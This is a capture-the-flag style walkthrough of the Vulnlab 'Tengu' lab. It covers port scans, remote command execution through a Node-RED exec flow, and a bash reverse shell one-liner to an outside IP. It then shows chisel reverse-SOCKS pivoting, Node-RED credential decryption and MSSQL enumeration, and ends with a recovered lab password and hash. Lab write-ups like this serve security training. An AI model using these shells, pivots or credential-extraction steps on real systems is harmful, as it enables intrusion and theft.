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Create Tengu.md
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# Vulnlab - Tengu
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## DC.tengu.vl
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```bash
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PORT STATE SERVICE VERSION
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3389/tcp open ms-wbt-server Microsoft Terminal Services
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| ssl-cert: Subject: commonName=DC.tengu.vl
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| Issuer: commonName=DC.tengu.vl
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2024-09-14T15:26:33
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| Not valid after: 2025-03-16T15:26:33
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| MD5: b350:11ed:41ce:ff32:a34f:0088:ce22:96f5
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|_SHA-1: 711b:6409:e399:0771:d3d3:7eba:1938:5914:7c84:7528
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Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
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```
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## SQL.tengu.vl
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```bash
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PORT STATE SERVICE VERSION
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3389/tcp open ms-wbt-server Microsoft Terminal Services
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|_ssl-date: 2024-09-15T15:30:31+00:00; 0s from scanner time.
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| ssl-cert: Subject: commonName=SQL.tengu.vl
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| Issuer: commonName=SQL.tengu.vl
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2024-09-14T15:26:45
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| Not valid after: 2025-03-16T15:26:45
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| MD5: 3cd6:9298:18df:b91e:5194:c958:0df4:528b
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|_SHA-1: b304:c807:0de4:a171:0c1a:8b16:1f3e:bd29:2e21:99b5
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Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
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```
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##
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```bash
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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|_ 256 41:c7:d4:28:ec:d8:5b:aa:97:ee:c0:be:3c:e3:aa:73 (ED25519)
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1880/tcp open vsat-control?
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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```
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Both windows hosts had only RDP service enabled, on linux hosts, there was something hosted on port 1880 which on googling shows it runs Node-RED, which is a flow based development tool for visual programming used in IoT devices
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<img src="https://i.imgur.com/DVKxUbk.png"/>
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Node-RED is known for getting remote command execution (RCE), to achieve this, we'll need to create a flow by timestamp block following exec block
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<img src="https://i.imgur.com/CuLDFKt.png"/>
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Replacing the curl command with bash reverse shell
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<img src="https://i.imgur.com/HCcZ8G6.png"/>
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```bash
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bash -i >& /dev/tcp/10.8.0.136/2222 0>&1
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```
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After having the shell, it can be stabilized with python3 to use it as a normal shell
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<img src="https://i.imgur.com/ZhpmGCP.png"/>
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From `nodered` directory, we can find some type of hashed password but not really sure who this belongs to and how this can be cracked
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<img src="https://i.imgur.com/RgdICoH.png"/>
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From sql node properties, we can see the connection string with the username `nodered_connector`
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<img src="https://i.imgur.com/DI5KPTP.png"/>
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So there's a script to decrypt the node-red credentials, which needs `flows_cred.json` and `.config.runtime.json`
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https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519
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<img src="https://i.imgur.com/wSSYj93.png"/>
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In order to connect to MSSQL, we'll need to performing pivoting since that service isn't exposed we'll use chisel socks proxy
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```bash
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chisel server --reverse -p 3000
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chisel client 10.8.0.136:3000 R:socks
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```
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<img src="https://i.imgur.com/nsUiv1Y.png"/>
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With this, we'll be able to reach port 1433 on sql.tengu.vl
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<img src="https://i.imgur.com/7XULYy4.png"/>
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Trying to enable `xp_cmdshell` resulted in no luck as this user didn't had privileged in mssql
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<img src="https://i.imgur.com/JoofgoC.png"/>
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Enumerating the databases, there are two, which are not available by default, `Dev` and `Demo`
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<img src="https://i.imgur.com/5fPlFgo.png"/>
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Dev didn't had anything interesting while there was one set of credential from Demo
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<img src="https://i.imgur.com/001siDc.png"/>
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# References
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- https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
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- https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519
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```
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nodered_connector:DreamPuppyOverall25
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t2_m.winters:af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147
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```
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